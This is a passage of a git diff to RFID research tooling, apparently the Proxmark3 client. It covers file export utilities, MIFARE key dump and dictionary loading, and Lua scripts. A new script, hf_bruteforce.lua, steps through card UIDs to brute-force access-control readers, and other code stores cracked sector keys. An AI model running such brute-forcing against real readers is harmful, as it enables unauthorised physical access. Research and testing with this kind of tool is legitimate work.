HKDF-256", "ECDH ES w/ HKDF - generate key directly"}, - {-13, "direct+HKDF-AES-256", "Shared secret w/ AES-MAC 256-bit key"}, - {-12, "direct+HKDF-AES-128", "Shared secret w/ AES-MAC 128-bit key"}, - {-11, "direct+HKDF-SHA-512", "Shared secret w/ HKDF and SHA-512"}, - {-10, "direct+HKDF-SHA-256", "Shared secret w/ HKDF and SHA-256"}, - {-8, "EdDSA", "EdDSA"}, - {-7, "ES256", "ECDSA w/ SHA-256"}, - {-6, "direct", "Direct use of CEK"}, - {-5, "A256KW", "AES Key Wrap w/ 256-bit key"}, - {-4, "A192KW", "AES Key Wrap w/ 192-bit key"}, - {-3, "A128KW", "AES Key Wrap w/ 128-bit key"}, + { -65536, "Unassigned", "Unassigned"}, + { -65535, "RS1", "RSASSA-PKCS1-v1_5 w/ SHA-1"}, + { -259, "RS512", "RSASSA-PKCS1-v1_5 w/ SHA-512"}, + { -258, "RS384", "RSASSA-PKCS1-v1_5 w/ SHA-384"}, + { -257, "RS256", "RSASSA-PKCS1-v1_5 w/ SHA-256"}, + { -42, "RSAES-OAEP w/ SHA-512", "RSAES-OAEP w/ SHA-512"}, + { -41, "RSAES-OAEP w/ SHA-256", "RSAES-OAEP w/ SHA-256"}, + { -40, "RSAES-OAEP w/ RFC 8017 def param", "RSAES-OAEP w/ SHA-1"}, + { -39, "PS512", "RSASSA-PSS w/ SHA-512"}, + { -38, "PS384", "RSASSA-PSS w/ SHA-384"}, + { -37, "PS256", "RSASSA-PSS w/ SHA-256"}, + { -36, "ES512", "ECDSA w/ SHA-512"}, + { -35, "ES384", "ECDSA w/ SHA-384"}, + { -34, "ECDH-SS + A256KW", "ECDH SS w/ Concat KDF and AES Key Wrap w/ 256-bit key"}, + { -33, "ECDH-SS + A192KW", "ECDH SS w/ Concat KDF and AES Key Wrap w/ 192-bit key"}, + { -32, "ECDH-SS + A128KW", "ECDH SS w/ Concat KDF and AES Key Wrap w/ 128-bit key"}, + { -31, "ECDH-ES + A256KW", "ECDH ES w/ Concat KDF and AES Key Wrap w/ 256-bit key"}, + { -30, "ECDH-ES + A192KW", "ECDH ES w/ Concat KDF and AES Key Wrap w/ 192-bit key"}, + { -29, "ECDH-ES + A128KW", "ECDH ES w/ Concat KDF and AES Key Wrap w/ 128-bit key"}, + { -28, "ECDH-SS + HKDF-512", "ECDH SS w/ HKDF - generate key directly"}, + { -27, "ECDH-SS + HKDF-256", "ECDH SS w/ HKDF - generate key directly"}, + { -26, "ECDH-ES + HKDF-512", "ECDH ES w/ HKDF - generate key directly"}, + { -25, "ECDH-ES + HKDF-256", "ECDH ES w/ HKDF - generate key directly"}, + { -13, "direct+HKDF-AES-256", "Shared secret w/ AES-MAC 256-bit key"}, + { -12, "direct+HKDF-AES-128", "Shared secret w/ AES-MAC 128-bit key"}, + { -11, "direct+HKDF-SHA-512", "Shared secret w/ HKDF and SHA-512"}, + { -10, "direct+HKDF-SHA-256", "Shared secret w/ HKDF and SHA-256"}, + { -8, "EdDSA", "EdDSA"}, + { -7, "ES256", "ECDSA w/ SHA-256"}, + { -6, "direct", "Direct use of CEK"}, + { -5, "A256KW", "AES Key Wrap w/ 256-bit key"}, + { -4, "A192KW", "AES Key Wrap w/ 192-bit key"}, + { -3, "A128KW", "AES Key Wrap w/ 128-bit key"}, {0, "Reserved", "Reserved"}, {1, "A128GCM", "AES-GCM mode w/ 128-bit key, 128-bit tag"}, {2, "A192GCM", "AES-GCM mode w/ 192-bit key, 128-bit tag"}, diff --git a/client/fileutils.c b/client/fileutils.c index ebdb662ca..d9e6e4445 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -52,6 +52,26 @@ #define PATH_MAX_LENGTH 200 +struct wave_info_t { + char signature[4]; + uint32_t filesize; + char type[4]; + struct { + char tag[4]; + uint32_t size; + uint16_t codec; + uint16_t nb_channel; + uint32_t sample_per_sec; + uint32_t byte_per_sec; + uint16_t block_align; + uint16_t bit_per_sample; + } PACKED format; + struct { + char tag[4]; + uint32_t size; + } PACKED audio_data; +} PACKED wave_info; + /** * @brief checks if a file exists * @param filename @@ -160,7 +180,7 @@ int saveFile(const char *preferredName, const char *suffix, const void *data, si fwrite(data, 1, datalen, f); fflush(f); fclose(f); - PrintAndLogEx(SUCCESS, "saved %zu bytes to binary file " _YELLOW_("%s"), datalen, fileName); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%zu")" bytes to binary file " _YELLOW_("%s"), datalen, fileName); free(fileName); return PM3_SUCCESS; } @@ -203,7 +223,7 @@ int saveFileEML(const char *preferredName, uint8_t *data, size_t datalen, size_t } fflush(f); fclose(f); - PrintAndLogEx(SUCCESS, "saved %d blocks to text file " _YELLOW_("%s"), blocks, fileName); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%" PRId32)" blocks to text file " _YELLOW_("%s"), blocks, fileName); out: free(fileName); @@ -337,9 +357,9 @@ int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, s } case jsfT55x7: { JsonSaveStr(root, "FileType", "t55x7"); - uint8_t id[4] = {0}; - memcpy(id, data, 4); - JsonSaveBufAsHexCompact(root, "$.Card.ID", id, sizeof(id)); + uint8_t conf[4] = {0}; + memcpy(conf, data, 4); + JsonSaveBufAsHexCompact(root, "$.Card.ConfigBlock", conf, sizeof(conf)); for (size_t i = 0; i < (datalen / 4); i++) { char path[PATH_MAX_LENGTH] = {0}; @@ -352,6 +372,34 @@ int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, s case jsf15: case jsfLegic: case jsfT5555: + case jsfMfPlusKeys: + JsonSaveStr(root, "FileType", "mfp"); + JsonSaveBufAsHexCompact(root, "$.Card.UID", &data[0], 7); + JsonSaveBufAsHexCompact(root, "$.Card.SAK", &data[10], 1); + JsonSaveBufAsHexCompact(root, "$.Card.ATQA", &data[11], 2); + uint8_t atslen = data[13]; + if (atslen > 0) + JsonSaveBufAsHexCompact(root, "$.Card.ATS", &data[14], atslen); + + uint8_t vdata[2][64][16 + 1] = {{{0}}}; + memcpy(vdata, &data[14 + atslen], 2 * 64 * 17); + + for (size_t i = 0; i < datalen; i++) { + char path[PATH_MAX_LENGTH] = {0}; + + if (vdata[0][i][0]) { + memset(path, 0x00, sizeof(path)); + sprintf(path, "$.SectorKeys.%d.KeyA", mfSectorNum(i)); + JsonSaveBufAsHexCompact(root, path, &vdata[0][i][1], 16); + } + + if (vdata[1][i][0]) { + memset(path, 0x00, sizeof(path)); + sprintf(path, "$.SectorKeys.%d.KeyB", mfSectorNum(i)); + JsonSaveBufAsHexCompact(root, path, &vdata[1][i][1], 16); + } + } + break; default: break; } @@ -371,33 +419,114 @@ out: return retval; } -int createMfcKeyDump(uint8_t sectorsCnt, sector_t *e_sector, char *fptr) { - uint8_t tmpKey[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; - int i; +int saveFileWAVE(const char *preferredName, int *data, size_t datalen) { - if (fptr == NULL) { - return PM3_EINVARG; + if (data == NULL) return PM3_EINVARG; + char *fileName = newfilenamemcopy(preferredName, ".wav"); + if (fileName == NULL) return PM3_EMALLOC; + int retval = PM3_SUCCESS; + + struct wave_info_t wave_info = { + .signature = "RIFF", + .filesize = sizeof(wave_info) - sizeof(wave_info.signature) - sizeof(wave_info.filesize) + datalen, + .type = "WAVE", + .format.tag = "fmt ", + .format.size = sizeof(wave_info.format) - sizeof(wave_info.format.tag) - sizeof(wave_info.format.size), + .format.codec = 1, // PCM + .format.nb_channel = 1, + .format.sample_per_sec = 125000, // TODO update for other tag types + .format.byte_per_sec = 125000, // TODO update for other tag types + .format.block_align = 1, + .format.bit_per_sample = 8, + .audio_data.tag = "data", + .audio_data.size = datalen, + }; + + FILE *wave_file = fopen(fileName, "wb"); + if (!wave_file) { + PrintAndLogEx(WARNING, "file not found or locked. "_YELLOW_("'%s'"), fileName); + retval = PM3_EFILE; + goto out; + } + fwrite(&wave_info, sizeof(wave_info), 1, wave_file); + for (int i = 0; i < datalen; i++) { + uint8_t sample = data[i] + 128; + fwrite(&sample, 1, 1, wave_file); + } + fclose(wave_file); + + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%zu")" bytes to wave file " _YELLOW_("'%s'"), 2 * datalen, fileName); + +out: + free(fileName); + return retval; +} + +int saveFilePM3(const char *preferredName, int *data, size_t datalen) { + + if (data == NULL) return PM3_EINVARG; + char *fileName = newfilenamemcopy(preferredName, ".pm3"); + if (fileName == NULL) return PM3_EMALLOC; + + int retval = PM3_SUCCESS; + + FILE *f = fopen(fileName, "w"); + if (!f) { + PrintAndLogEx(WARNING, "file not found or locked. "_YELLOW_("'%s'"), fileName); + retval = PM3_EFILE; + goto out; } - FILE *fkeys = fopen(fptr, "wb"); - if (fkeys == NULL) { - PrintAndLogEx(WARNING, "Could not create file " _YELLOW_("%s"), fptr); + for (uint32_t i = 0; i < datalen; i++) + fprintf(f, "%d\n", data[i]); + + fflush(f); + fclose(f); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%zu")" bytes to PM3 file " _YELLOW_("'%s'"), datalen, fileName); + +out: + free(fileName); + return retval; +} + +int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, sector_t *e_sector) { + + if (e_sector == NULL) return PM3_EINVARG; + + char *fileName = newfilenamemcopy(preferredName, ".bin"); + if (fileName == NULL) return PM3_EMALLOC; + + FILE *f = fopen(fileName, "wb"); + if (f == NULL) { + PrintAndLogEx(WARNING, "Could not create file " _YELLOW_("%s"), fileName); + free(fileName); return PM3_EFILE; } - PrintAndLogEx(SUCCESS, "Printing keys to binary file " _YELLOW_("%s")"...", fptr); + PrintAndLogEx(SUCCESS, "Generating binary key file"); - for (i = 0; i < sectorsCnt; i++) { - num_to_bytes(e_sector[i].Key[0], 6, tmpKey); - fwrite(tmpKey, 1, 6, fkeys); + uint8_t empty[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + uint8_t tmp[6] = {0, 0, 0, 0, 0, 0}; + + for (int i = 0; i < sectorsCnt; i++) { + if (e_sector[i].foundKey[0]) + num_to_bytes(e_sector[i].Key[0], sizeof(tmp), tmp); + else + memcpy(tmp, empty, sizeof(tmp)); + fwrite(tmp, 1, sizeof(tmp), f); } - for (i = 0; i < sectorsCnt; i++) { - num_to_bytes(e_sector[i].Key[1], 6, tmpKey); - fwrite(tmpKey, 1, 6, fkeys); + for (int i = 0; i < sectorsCnt; i++) { + if (e_sector[i].foundKey[0]) + num_to_bytes(e_sector[i].Key[1], sizeof(tmp), tmp); + else + memcpy(tmp, empty, sizeof(tmp)); + fwrite(tmp, 1, sizeof(tmp), f); } - fclose(fkeys); - PrintAndLogEx(SUCCESS, "Found keys have been dumped to " _YELLOW_("%s")" --> 0xffffffffffff has been inserted for unknown keys.", fptr); + fflush(f); + fclose(f); + PrintAndLogEx(SUCCESS, "Found keys have been dumped to " _YELLOW_("%s")"--> 0xffffffffffff has been inserted for unknown keys.", fileName); + free(fileName); return PM3_SUCCESS; } @@ -515,6 +644,7 @@ int loadFile_safe(const char *preferredName, const char *suffix, void **pdata, s int loadFileEML(const char *preferredName, void *data, size_t *datalen) { if (data == NULL) return PM3_EINVARG; + char *fileName = filenamemcopy(preferredName, ".eml"); if (fileName == NULL) return PM3_EMALLOC; @@ -533,6 +663,8 @@ int loadFileEML(const char *preferredName, void *data, size_t *datalen) { memset(line, 0, sizeof(line)); uint8_t buf[64] = {0x00}; + uint8_t *udata = (uint8_t *)data; + while (!feof(f)) { memset(line, 0, sizeof(line)); @@ -551,7 +683,7 @@ int loadFileEML(const char *preferredName, void *data, size_t *datalen) { int res = param_gethex_to_eol(line, 0, buf, sizeof(buf), &hexlen); if (res == 0 || res == 1) { - memcpy(data + counter, buf, hexlen); + memcpy(udata + counter, buf, hexlen); counter += hexlen; } } @@ -715,25 +847,35 @@ out: } int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, uint8_t keylen, uint16_t *keycnt) { + // t5577 == 4bytes + // mifare == 6 bytes + // mf plus == 16 bytes + // iclass == 8 bytes + // default to 6 bytes. + if (keylen != 4 && keylen != 6 && keylen != 8 && keylen != 16) { + keylen = 6; + } + + return loadFileDICTIONARYEx(preferredName, data, 0, datalen, keylen, keycnt, 0, NULL, true); +} + +int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint16_t *keycnt, + size_t startFilePosition, size_t *endFilePosition, bool verbose) { if (data == NULL) return PM3_EINVARG; + + if (endFilePosition) + *endFilePosition = 0; + char *path; if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) return PM3_EFILE; - // t5577 == 4bytes - // mifare == 6 bytes - // iclass == 8 bytes - // default to 6 bytes. - if (keylen != 4 && keylen != 6 && keylen != 8) { - keylen = 6; - } - // double up since its chars keylen <<= 1; char line[255]; - + uint16_t vkeycnt = 0; size_t counter = 0; int retval = PM3_SUCCESS; @@ -744,8 +886,24 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u goto out; } + if (startFilePosition) { + if (fseek(f, startFilePosition, SEEK_SET) < 0) { + fclose(f); + retval = PM3_EFILE; + goto out; + } + } + + uint8_t *udata = (uint8_t *)data; + // read file - while (fgets(line, sizeof(line), f)) { + while (!feof(f)) { + size_t filepos = ftell(f); + if (!fgets(line, sizeof(line), f)) { + if (endFilePosition) + *endFilePosition = 0; + break; + } // add null terminator line[keylen] = 0; @@ -758,23 +916,32 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u if (line[0] == '#') continue; - if (!isxdigit(line[0])) { - PrintAndLogEx(FAILED, "file content error. '%s' must include " _BLUE_("%2d") "HEX symbols", line, keylen); + if (!CheckStringIsHEXValue(line)) continue; + + // cant store more data + if (maxdatalen && (counter + (keylen >> 1) > maxdatalen)) { + retval = 1; + if (endFilePosition) + *endFilePosition = filepos; + break; } - uint64_t key = strtoull(line, NULL, 16); + if (hex_to_bytes(line, udata + counter, keylen >> 1) != (keylen >> 1)) + continue; - num_to_bytes(key, keylen >> 1, data + counter); - (*keycnt)++; + vkeycnt++; memset(line, 0, sizeof(line)); counter += (keylen >> 1); } fclose(f); - PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%2d") "keys from dictionary file " _YELLOW_("%s"), *keycnt, path); + if (verbose) + PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%2d") "keys from dictionary file " _YELLOW_("%s"), vkeycnt, path); if (datalen) *datalen = counter; + if (keycnt) + *keycnt = vkeycnt; out: free(path); return retval; @@ -790,9 +957,10 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key // t5577 == 4bytes // mifare == 6 bytes + // mf plus == 16 bytes // iclass == 8 bytes // default to 6 bytes. - if (keylen != 4 && keylen != 6 && keylen != 8) { + if (keylen != 4 && keylen != 6 && keylen != 8 && keylen != 16) { keylen = 6; } @@ -848,10 +1016,8 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key if (line[0] == '#') continue; - if (!isxdigit(line[0])) { - PrintAndLogEx(FAILED, "file content error. '%s' must include " _BLUE_("%2d") "HEX symbols", line, keylen); + if (!CheckStringIsHEXValue(line)) continue; - } uint64_t key = strtoull(line, NULL, 16); diff --git a/client/fileutils.h b/client/fileutils.h index eb4b57c82..3747e0850 100644 --- a/client/fileutils.h +++ b/client/fileutils.h @@ -61,6 +61,7 @@ typedef enum { jsfLegic, jsfT55x7, jsfT5555, + jsfMfPlusKeys, } JSONFileType; typedef enum { @@ -111,15 +112,39 @@ int saveFileEML(const char *preferredName, uint8_t *data, size_t datalen, size_t */ int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen); -/** - * @brief Utility function to save a keydump. +/** STUB + * @brief Utility function to save WAVE data to a file. This method takes a preferred name, but if that + * file already exists, it tries with another name until it finds something suitable. + * E.g. dumpdata-15.wav * + * @param preferredName + * @param data The binary data to write to the file + * @param datalen the length of the data + * @return 0 for ok + */ +int saveFileWAVE(const char *preferredName, int *data, size_t datalen); + +/** STUB + * @brief Utility function to save PM3 data to a file. This method takes a preferred name, but if that + * file already exists, it tries with another name until it finds something suitable. + * E.g. dump_trace.pm3 + * + * @param preferredName + * @param data The binary data to write to the file + * @param datalen the length of the data + * @return 0 for ok + */ +int saveFilePM3(const char *preferredName, int *data, size_t datalen); + +/** + * @brief Utility function to save a keydump into a binary file. + * + * @param preferredName * @param sectorsCnt the used sectors * @param e_sector the keys in question - * @param fptr string pointer to the filename * @return 0 for ok, 1 for failz */ -int createMfcKeyDump(uint8_t sectorsCnt, sector_t *e_sector, char *fptr); +int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, sector_t *e_sector); /** * @brief Utility function to load data from a binary file. This method takes a preferred name. @@ -175,13 +200,32 @@ int loadFileJSON(const char *preferredName, void *data, size_t maxdatalen, size_ * * @param preferredName * @param data The data array to store the loaded bytes from file - * @param maxdatalen maximum size of data array in bytes - * @param datalen the number of bytes loaded from file + * @param datalen the number of bytes loaded from file. may be NULL * @param keylen the number of bytes a key per row is + * @param keycnt key count that lays in data. may be NULL * @return 0 for ok, 1 for failz */ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, uint8_t keylen, uint16_t *keycnt); +/** + * @brief Utility function to load data from a DICTIONARY textfile. This method takes a preferred name. + * E.g. mfc_default_keys.dic + * can be executed several times for big dictionaries and checks length of buffer + * + * @param preferredName + * @param data The data array to store the loaded bytes from file + * @param maxdatalen maximum size of data array in bytes + * @param datalen the number of bytes loaded from file. may be NULL + * @param keylen the number of bytes a key per row is + * @param keycnt key count that lays in data. may be NULL + * @param startFilePosition start position in dictionary file. used for big dictionaries. + * @param endFilePosition in case we have keys in file and maxdatalen reached it returns current key position in file. may be NULL + * @param verbose print messages if true + * @return 0 for ok, 1 for failz +*/ +int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint16_t *keycnt, + size_t startFilePosition, size_t *endFilePosition, bool verbose); + /** * @brief Utility function to load data safely from a DICTIONARY textfile. This method takes a preferred name. * E.g. mfc_default_keys.dic diff --git a/client/flash.c b/client/flash.c index 5bbb669c0..698e39187 100644 --- a/client/flash.c +++ b/client/flash.c @@ -13,6 +13,7 @@ #include #include #include +#include #include "ui.h" #include "elf.h" @@ -522,9 +523,22 @@ static int write_block(uint32_t address, uint8_t *data, uint32_t length) { return ret; } +const char ice[] = + "...................................................................\n @@@ @@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@ @@@ @@@\n" + " @@! !@@ @@! @@! @@! @@! @@! @@@ @@!@!@@@\n !!@ !@! @!!!:! @!! !!@ @!@ @!@!@!@! @!@@!!@!\n" + " !!: :!! !!: !!: !!: !!: !!! !!: !!!\n : :: :: : : :: ::: : : : : : :: : \n" + _RED_(" . .. .. . . .. ... . . . . . .. . ") + "\n...................................................................\n" +; + // Write a file's segments to Flash int flash_write(flash_file_t *ctx) { + int len = 0; + PrintAndLogEx(SUCCESS, "Writing segments for file: %s", ctx->filename); + + bool filter_ansi = !session.supports_colors; + for (int i = 0; i < ctx->num_segs; i++) { flash_seg_t *seg = &ctx->segments[i]; @@ -552,7 +566,15 @@ int flash_write(flash_file_t *ctx) { baddr += block_size; length -= block_size; block++; - fprintf(stdout, "."); + if ( len < strlen(ice) ) { + if (filter_ansi && !isalpha(ice[len]) ) { + len++; + } else { + fprintf(stdout, "%c", ice[len++]); + } + } else { + fprintf(stdout, "."); + } fflush(stdout); } PrintAndLogEx(NORMAL, " " _GREEN_("OK")); diff --git a/client/hardnested/hardnested_bruteforce.c b/client/hardnested/hardnested_bruteforce.c index 682257415..159454110 100644 --- a/client/hardnested/hardnested_bruteforce.c +++ b/client/hardnested/hardnested_bruteforce.c @@ -294,7 +294,7 @@ static void write_benchfile(statelist_t *candidates) { #endif -bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint64_t *foundkey) { +bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint64_t *found_key) { #if defined (WRITE_BENCH_FILE) write_benchfile(candidates); #endif @@ -353,7 +353,7 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint *bf_rate = (float)num_keys_tested / ((float)elapsed_time / 1000.0); if (keys_found > 0) - *foundkey = found_bs_key; + *found_key = found_bs_key; return (keys_found != 0); } diff --git a/client/jansson/hashtable.c b/client/jansson/hashtable.c index aee159242..071ba585f 100644 --- a/client/jansson/hashtable.c +++ b/client/jansson/hashtable.c @@ -222,7 +222,7 @@ int hashtable_set(hashtable_t *hashtable, const char *key, json_t *value) { allocated. */ size_t len = strlen(key); - if (len >= (size_t) -1 - offsetof(pair_t, key)) { + if (len >= (size_t) - 1 - offsetof(pair_t, key)) { /* Avoid an overflow if the key is very long */ return -1; } diff --git a/client/jansson/jansson.h b/client/jansson/jansson.h index 6f42d68c1..0f868c2f2 100644 --- a/client/jansson/jansson.h +++ b/client/jansson/jansson.h @@ -119,7 +119,7 @@ json_t *json_null(void); static JSON_INLINE json_t *json_incref(json_t *json) { - if (json && json->refcount != (size_t) -1) + if (json && json->refcount != (size_t) - 1) JSON_INTERNAL_INCREF(json); return json; } @@ -129,7 +129,7 @@ void json_delete(json_t *json); static JSON_INLINE void json_decref(json_t *json) { - if (json && json->refcount != (size_t) -1 && JSON_INTERNAL_DECREF(json) == 0) + if (json && json->refcount != (size_t) - 1 && JSON_INTERNAL_DECREF(json) == 0) json_delete(json); } diff --git a/client/jansson/load.c b/client/jansson/load.c index 4e05dc87b..7f3fa7458 100644 --- a/client/jansson/load.c +++ b/client/jansson/load.c @@ -1079,7 +1079,7 @@ static int callback_get(void *data) { if (stream->pos >= stream->len) { stream->pos = 0; stream->len = stream->callback(stream->data, MAX_BUF_LEN, stream->arg); - if (stream->len == 0 || stream->len == (size_t) -1) + if (stream->len == 0 || stream->len == (size_t) - 1) return EOF; } diff --git a/client/jansson/value.c b/client/jansson/value.c index fcc0caa2c..7c1bc9438 100644 --- a/client/jansson/value.c +++ b/client/jansson/value.c @@ -861,19 +861,19 @@ double json_number_value(const json_t *json) { /*** simple values ***/ json_t *json_true(void) { - static json_t the_true = {JSON_TRUE, (size_t) -1}; + static json_t the_true = {JSON_TRUE, (size_t) - 1}; return &the_true; } json_t *json_false(void) { - static json_t the_false = {JSON_FALSE, (size_t) -1}; + static json_t the_false = {JSON_FALSE, (size_t) - 1}; return &the_false; } json_t *json_null(void) { - static json_t the_null = {JSON_NULL, (size_t) -1}; + static json_t the_null = {JSON_NULL, (size_t) - 1}; return &the_null; } diff --git a/client/loclass/cipherutils.c b/client/loclass/cipherutils.c index c2a802c7a..5f16b68fd 100644 --- a/client/loclass/cipherutils.c +++ b/client/loclass/cipherutils.c @@ -74,7 +74,7 @@ bool tailBit(BitstreamIn *stream) { void pushBit(BitstreamOut *stream, bool bit) { int bytepos = stream->position >> 3; // divide by 8 int bitpos = stream->position & 7; - *(stream->buffer + bytepos) |= (bit & 1) << (7 - bitpos); + *(stream->buffer + bytepos) |= (bit) << (7 - bitpos); stream->position++; stream->numbits++; } @@ -169,6 +169,9 @@ void printvar(const char *name, uint8_t *arr, int len) { } void printarr_human_readable(const char *title, uint8_t *arr, int len) { + + if (arr == NULL) return; + int cx = 0, i; size_t outsize = 100 + strlen(title) + len * 4; char *output = calloc(outsize, sizeof(char)); diff --git a/client/luascripts/calc_di.lua b/client/luascripts/calc_di.lua index 7b8c304db..d2e712563 100644 --- a/client/luascripts/calc_di.lua +++ b/client/luascripts/calc_di.lua @@ -71,11 +71,14 @@ local function exitMsg(msg) end --- -- dumps all keys to file -local function dumptofile(keys) +local function dumptofile(uid, keys) dbg('dumping keys to file') if utils.confirm('Do you wish to save the keys to dumpfile?') then - local destination = utils.input('Select a filename to store to', 'dumpkeys.bin') + + local filename = ('hf-mf-%s-key.bin'):format(uid); + + local destination = utils.input('Select a filename to store to', filename) local file = io.open(destination, 'wb') if file == nil then print('Could not write to file ', destination) @@ -172,7 +175,7 @@ local function main(args) local keys, err = createKeys( uid ) printKeys( keys ) - dumptofile( keys ) + dumptofile( uid, keys ) end main(args) diff --git a/client/luascripts/calc_mizip.lua b/client/luascripts/calc_mizip.lua index f0c76bc57..bff493131 100644 --- a/client/luascripts/calc_mizip.lua +++ b/client/luascripts/calc_mizip.lua @@ -76,11 +76,12 @@ local function exitMsg(msg) end -- -- dumps all keys to file -local function dumptofile(keys) +local function dumptofile(uid, keys) dbg('dumping keys to file') if utils.confirm('Do you wish to save the keys to dumpfile?') then - local destination = utils.input('Select a filename to store to', 'dumpkeys.bin') + local filename = ('hf-mf-%s-key.bin'):format(uid); + local destination = utils.input('Select a filename to store to', filename) local file = io.open(destination, 'wb') if file == nil then print('Could not write to file ', destination) @@ -194,7 +195,7 @@ local function main(args) local keys, err = createKeys( uid ) printKeys( keys ) - dumptofile( keys ) + dumptofile( uid, keys ) end main(args) diff --git a/client/luascripts/hf_bruteforce.lua b/client/luascripts/hf_bruteforce.lua new file mode 100644 index 000000000..a3a6636b8 --- /dev/null +++ b/client/luascripts/hf_bruteforce.lua @@ -0,0 +1,105 @@ +-- Run me like this: proxmark3 /dev/rfcomm0 -l ./hf_bruteforce.lua + +local getopt = require('getopt') + +copyright = '' +author = 'Keld Norman' +version = 'v1.0.0' +desc = [[ + +]] +example = [[ + -- (the above example would bruteforce card number, starting at 1, ending at 10, and waiting 1 second between each card) + + script run hf_bruteforce -s 1 -e 10 -t 1000 +]] +usage = [[ + +script run hf_bruteforce -s start_id -e end_id -t timeout -d direction + +Arguments: + -h this help + -s 0-0xFFFFFFFF start id + -e 0-0xFFFFFFFF end id + -t 0-99999, pause timeout (ms) between cards (use the word 'pause' to wait for user input) +]] + + +local DEBUG = true + +--- +-- Debug print function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while result[i] do + dbg(result[i]) + i = i+1 + end + else + print('###', args) + end +end +--- +-- When errors occur +local function oops(err) + print('ERROR:', err) + core.clearCommandBuffer() + return nil, err +end +--- +-- Usage help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print('Example usage') + print(example) + print(usage) +end +--- +-- Exit message +local function exitMsg(msg) + print( string.rep('--',20) ) + print(msg) + print( string.rep('--',20) ) + print() +end +--- +-- Start +local function main(args) + + print( string.rep('--',20) ) + print( string.rep('--',20) ) + print() + local timeout = 0 + local start_id = 0 + local end_id = 0xFFFFFFFF + + for o, a in getopt.getopt(args, 'e:s:t:h') do + if o == 's' then start_id = a end + if o == 'e' then end_id = a end + if o == 't' then timeout = a end + if o == 'h' then return print(usage) end + end + + -- template + local command = 'hf 14a sim t 1 u %08X' + + print(' Bruteforcing MFC card numbers from 00000000 to FFFFFFFF using delay: '..timeout) + print('') + print( string.rep('--',20) ) + + for n = start_id, end_id do + local c = string.format( command, n ) + print(' Running: "'..c..'"') + core.console(c) + core.console('msleep '..timeout); + core.console('hw ping') + end + +end +main(args) + diff --git a/client/luascripts/lto_dump.lua b/client/luascripts/lto_dump.lua new file mode 100644 index 000000000..a384a4f9b --- /dev/null +++ b/client/luascripts/lto_dump.lua @@ -0,0 +1,196 @@ +local cmds = require('commands') +local getopt = require('getopt') +local lib14a = require('read14a') +local utils = require('utils') + +copyright = '' +author = 'Kevin' +version = 'v1.0.1' +desc = [[ +This is a script that reads LTO-CM ISO14443a tags. +It starts from block 0 and ends at default block 254. +]] +example = [[ + -- default + script run lto_dump + + -- stop at block 10 + script run lto_dump -e 10 +]] +usage = [[ +script run lto_dump -h -s -e + +Arguments: + h this helptext + s start block in decimal + e end block in decimal +]] + +-- Some globals +local DEBUG = false -- the debug flag +local lshift = bit32.lshift +local band = bit32.band +--- +-- A debug printout-function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while args[i] do + dbg(args[i]) + i = i+1 + end + else + print('###', args) + end +end +--- +-- This is only meant to be used when errors occur +local function oops(err) + print('ERROR:', err) + core.clearCommandBuffer() + return nil, err +end +--- +-- Usage help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print('Example usage') + print(example) + print(usage) +end + +local function sendRaw(rawdata, options) + + local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT + lib14a.ISO14A_COMMAND.ISO14A_RAW + + if options.connect then + flags = flags + lib14a.ISO14A_COMMAND.ISO14A_CONNECT + end + + if options.no_select then + flags = flags + lib14a.ISO14A_COMMAND.ISO14A_NO_SELECT + end + + if options.append_crc then + flags = flags + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC + end + + local arg2 = #rawdata / 2 + if options.bits7 then + arg2 = arg2 + tonumber(lshift(7, 16)) + end + + local command = Command:newMIX{cmd = cmds.CMD_HF_ISO14443A_READER, + arg1 = flags, -- Send raw + -- arg2 contains the length, which is half the length + -- of the ASCII-string rawdata + arg2 = arg2, + data = rawdata} + return command:sendMIX(options.ignore_response) +end + +--- +-- get hex data from response +local function getdata(usbpacket) + local cmd_response = Command.parse(usbpacket) + local len = tonumber(cmd_response.arg1) * 2 + return string.sub(tostring(cmd_response.data), 0, len) +end + +--- +-- helper function to send payloads easier +local function send(payload, options) + local res, err = sendRaw(payload, options) + if err then + lib14a.disconnect() + return oops(err) + end + core.clearCommandBuffer() + if options.ignore_response then + return "ok", nil + else + return res, err + end +end + +--- +-- The main entry point +function main(args) + + local startblock = 0 + local endblock = 254 + -- Read the parameters + for o, a 